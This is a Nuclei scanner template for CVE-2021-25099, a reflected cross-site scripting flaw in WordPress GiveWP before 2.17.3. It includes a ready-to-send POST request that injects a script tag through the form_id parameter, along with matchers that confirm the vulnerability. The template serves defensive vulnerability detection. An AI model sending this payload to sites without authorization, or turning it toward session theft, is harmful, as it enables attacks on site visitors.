nuclei-templates/http/cves/2021/CVE-2021-25099.yaml

52 lines
2.4 KiB
YAML

id: CVE-2021-25099
info:
name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
- https://wordpress.org/plugins/give/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25099
- https://plugins.trac.wordpress.org/changeset/2659032
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25099
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.41295
cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: givewp
product: givewp
framework: wordpress
tags: cve2021,cve,xss,wp,give,wordpress,wp-plugin,unauth,wpscan,givewp
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>")'
- 'contains(body, "give_user_login")'
condition: and
# digest: 4b0a00483046022100c98a60fdfc37512556f1094274d13b080633a1ca2b55936ebc78706b94e40f1802210097f53cc5b2062010ca5f95dc8e2ba351657f0a380ae226bbe6a89baf8d814659:922c64590222798bb761d5b6d8e72950